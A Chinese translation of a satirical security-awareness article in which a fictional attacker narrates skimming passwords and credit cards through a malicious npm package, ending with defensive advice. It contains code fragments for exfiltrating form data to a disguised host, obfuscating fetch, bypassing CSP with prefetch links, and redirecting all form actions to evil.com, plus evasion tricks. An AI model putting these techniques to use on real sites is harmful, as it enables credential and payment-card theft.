譯者:本文翻譯自hackermoon上的文章,希望本文能喚起廣大前端工作者的安全意識,以下為正文:
以下是一個真實的故事。或者它可能只是基於一個真實的故事。也許這根本不是真的。
這周是一個安全恐慌周——似乎每天都有一個新的漏洞被發現。當家裡人詢問我相關的事情時,我需要假裝我很懂行,這真的讓我感到很煎熬。
看到與我親近的人都在憂慮「網路安全」,這確實讓我有所感觸。
所以,我懷著沉重的心情,決定乾淨利落地告訴你,我過去幾年是如何偷你的網站上的用戶名,密碼和信用卡號碼。
惡意代碼本身非常簡單,當它在滿足以下條件的頁面上運行時,它就能發揮作用:
然後,當密碼/信用卡欄位上出現"blur"事件或form標籤上監聽到"submit"事件時,我的代碼會:
const payload = btoa(JSON.stringify(sensitiveUserData))
https://legit-analytics.com?q=${payload}
簡而言之,只要是看起來對我有價值的數據,我就會把它發送到我的伺服器。
2015年時,當我第一次編寫這段代碼時,它毫無用處,只能躲在我電腦的某個角落裡。我需要把它散佈到這個世界,進入你的網站。
引用Google的一句話:如果攻擊者成功注入了任何代碼,那麼遊戲結束了!
XSS規模太小,而且已經被針對保護得很好了。
Chrome擴展程序也是被限制地死死的。
幸運的是,我們生活在一個人人都使用npm的時代,就像人們喜歡磕止痛藥一樣。
所以,npm是我的注入代碼的方法。我需要創造一些有用的開源軟體,讓人們不假思索地安裝——我的特洛伊木馬。
人們喜歡漂亮的顏色 - 這是我們與狗之間的區別 - 所以我寫了一個包,讓你以任何顏色登錄控制檯。
我很興奮 - 我有一個引人注目的npm包 - 但我不想等待人們慢慢發現,並分享這個包。所以我開始為現有的包提PR,將我的彩色包添加到它們的依賴項中。
我為數百個前端包或者他們的依賴項提PR(當然是用各種用戶帳戶,而不是全用「David Gilbertson」這個賬號):「嘿,我已經解決了問題x,並且還添加了一些日誌記錄。」
看,我正在為開源做貢獻!
有很多敏感的人告訴我,他們不想要新的依賴,但這是能預期的,這是一個數字遊戲。
總體而言,我取得了巨大成功,我的彩色控制檯代碼現在被23個軟體包依賴。其中一個軟體包本身被廣泛的依賴 - 我的搖錢樹。我不會說出它的名字,但是可以告訴你的是,它正在不斷填充我的金庫。
這只是一個包。我還有其他6個包正在運作著。
我現在每月大約被下載120,000次,我很自豪地宣佈,我那些可惡的代碼每天都在數千個網站上執行,包括少數Alexa-top上前1000網站,它們向我發送大量用戶名,密碼和信用卡明細。
回顧過去的黃金歲月,我無法相信人們為了將跨站代碼放入單個站點而花費大量精力。現在,在我的前端朋友的幫助下,我將惡意代碼發送到數千個網站非常容易。
你會在哪裡注意到它們?當DevTools打開時,我的代碼不會發送任何內容(即使沒有被展開)。
我把這稱為海森堡機動:如果你試圖觀察我代碼的行為,我代碼的行為將會發生改變。
在localhost或任何IP地址上運行時,或者域名中包含dev,test,qa,uat或staging(由字邊界包圍)等字樣時,它也保持靜默。
測試人員工作幾個小時?我的代碼在工作日的早上7點到晚上7點之間沒有發送任何內容。我的收穫減半了,但減少了95%被抓的幾率。
而且,你的密碼我只需要一次。因此,我在一臺設備上發起請求後,我記下了它(本地存儲和cookie),該設備再也不會發起請求。
即使有一些勤奮的測試人員不斷地(在週末)清除cookie和本地存儲,我也只是間歇性地發送這些請求(大約七次,輕微隨機化 )。
此外,該網址看起來很像您網站對其他300個廣告發起的網路請求。
也許你有一個自動測試程序,每週7天每天24小時填寫付款表格並檢查可疑的網路請求。您使用的是PhantomJS,Selenium,W??ebDriver還是friends?抱歉,它們都為窗口添加了易於檢測的屬性,因此在檢測到後,我不會發起任何請求。
關鍵是,僅僅因為你沒有看到它,並不意味著它沒有發生。這已經兩年多了,據我所知,至今為止沒有任何人注意到我的請求。也許它現在就在你的網站上:)
(有趣的是,當我查看我收集的所有密碼和信用卡號碼,並將它們捆綁起來在黑暗網上出售時,我必須過濾我自己的信用卡號碼和用戶名,以防我出賣了我自己。真是可笑!)
你的單純溫暖了我的心。
但是很遺憾,將一個版本的代碼發送到GitHub,並將其他版本發送到npm是完全可行的。
在我的package.json中,我將files屬性指向包含壓縮代碼的lib文件夾 - 這是npm publish命令將發送給npm伺服器的文件夾。但是lib在我的.gitignore中,它永遠不會被推送到GitHub。這是一種很常見的做法,因此您在GitHub上找不到任何疑點。
這不是一個npm問題,即使我沒有向npm和GitHub推送不同的代碼,誰能保證你所看到的/lib/package.min.js是/src/package.js壓縮後的真正結果?
所以很抱歉,你不會在GitHub上的任何地方找到我那可惡的代碼。
好了,現在你只是在單純的找茬。但也許你認為你可以寫一些聰明的代碼,自動檢查代碼是否有任何可疑之處。
你仍然不會在我的源代碼中發現任何有意義的東西,在我代碼中的任何地方fetch或XMLHttpRequest 任何地方,或者我要發送到的域名。我的fetch代碼如下所示:
const i = gfudi; const k = s => s.split().map(c => String.fromCharCode(c.charCodeAt() - 1)).join(); self[k(i)](urlWithYourPreciousData);
「gfudi」只是「fetch」,每個字母向前移動一位。解密方法就在上面。self只是window的別名。
甚至還可以用selfu0066u0065u0074u0063u0068來表示fetch(...)。
重點是:你更本沒有任何機會,在混淆的代碼中發現可疑的代碼。
(儘管如此,實際上我並沒有使用平凡的fetch,如果可以,我更喜歡用new EventSource(urlWithYourPreciousData)。這樣即使你是偏執狂,並通過serviceWorker監聽fetch事件來監控請求,我依舊可以繞過去。只要是支持serviceWorker但不支持EventSource的瀏覽器,我便不會發送任何內容。)
哦,對了,你有嗎?
有沒有人告訴你,這能阻止惡意代碼發起請求?我討厭成為壞消息的傳遞者,但是即使是最嚴格的content security policy,以下四行代碼也會能繞過去。
const linkEl = document.createElement(link); linkEl.rel = prefetch; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);
(在這篇文章的早期版本中,我說一個可靠的content security policy會讓你(並且我加了引號)「100%安全」。不幸的是,在我學會上述技巧之前,已經有130k人讀過這個了。所以我想這裡能得到的教訓就是你不能相信互聯網上的任何東西或是任何人。)
但是CSP(content security policy )並不是完全無益的。上述方法只適用於Chrome,一個不錯的CSP 能那些在較少使用的瀏覽器中阻止我的盜竊行為。
如果您還不知道,content security policy可以限制從瀏覽器發出的網路請求。它旨在限制您可以帶入瀏覽器的內容,但也可以 - 作為副作用 - 限制數據發送出去的方式(當我將密碼發送到我的伺服器時,它只是一個查詢參數得到請求)。
如果我無法使用預請求獲取數據,那麼CSP對我的信用卡收集來說很棘手。而且不僅僅是因為限制到了我的惡意請求。
您看,如果我嘗試從具有CSP的站點發送數據,它可以向站點所有者警告失敗的嘗試(如果他們指定了一個反饋的url)。他們最終會跟蹤我的代碼並可能打電話給我的母親然後我會遇到大麻煩。
因為我不讓自己的引來注意,我在嘗試發送內容之前檢查你的CSP。
為此,我在當前頁面發起虛擬請求,並讀取響應頭。
fetch(document.location.href) .then(resp => { const csp = resp.headers.get(Content-Security-Policy); // does this exist? Is is any good? });
在這一點上,我可以尋找繞過CSP的方法。Google登錄頁面上有一個CSP,如果我的代碼在該頁面上運行,我可以輕鬆發送您的用戶名和密碼。他們沒有明確設置connect-src,也沒有設置catch-all default-src,所以我可以發送你的憑據。
如果您向我郵寄10美元,我會告訴您我的代碼是否在Google登錄頁面上運行。
亞馬遜在您輸入信用卡號的頁面上根本沒有CSP,eBay也沒有。
Twitter和PayPal都有CSP,但從它們那裡獲取數據仍然很容易。這兩個允許以相同的方式在後臺發送數據,這可能是其他網站也允許的標誌。乍一看,一切都看起來非常徹底,它們都有設置catch-all default-src。但這裡有一個破壞者:這個catch-all完全沒起作用,因為他們沒有鎖定form-action。
所以,當我檢查你的CSP(並且會檢查兩次)時,如果其他一切都被鎖定但我沒有看到form-action,我只是去改變(當你點擊登錄時發送數據的地方) )所有表單上的action。
Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
嘭!謝謝你給我發送你的PayPal用戶名和密碼,朋友。我會寄給你一張感謝卡,上面寫著我用你的錢買的東西的照片。
當然,我只對每個設備執行一次此操作,然後將用戶反彈回到引用頁面,在那裡他們會聳聳肩並再試一次。
(使用這種方法,我接管了特朗普的Twitter帳戶並開始發送各種奇怪的東西。至今沒有人注意到。)
在這裡,你會很安全。
我在後續帖子中詳細說明瞭這一點,第2部分:如何阻止我從您的網站上獲取信用卡號和密碼。
在任何收集您不希望我(或我的其他攻擊者)擁有的數據的頁面上,不要使用npm模塊。或Google跟蹤代碼管理器,廣告網路或分析,或任何不屬於您的代碼。
正如此處所建議的那樣,您可能需要考慮在iFrame中提供用於登錄和信用卡收集的專用輕量級頁面。
您仍然可以使用帶有938個npm包的大型React應用程序,用於開發頁眉/頁腳/導航/任何內容,但是用戶鍵入的頁面部分應該位於安全的iFrame中,並且它只包含手打的JavaScript代碼(並且是未壓縮的代碼)——如果你想進行客戶端驗證。
推薦閱讀: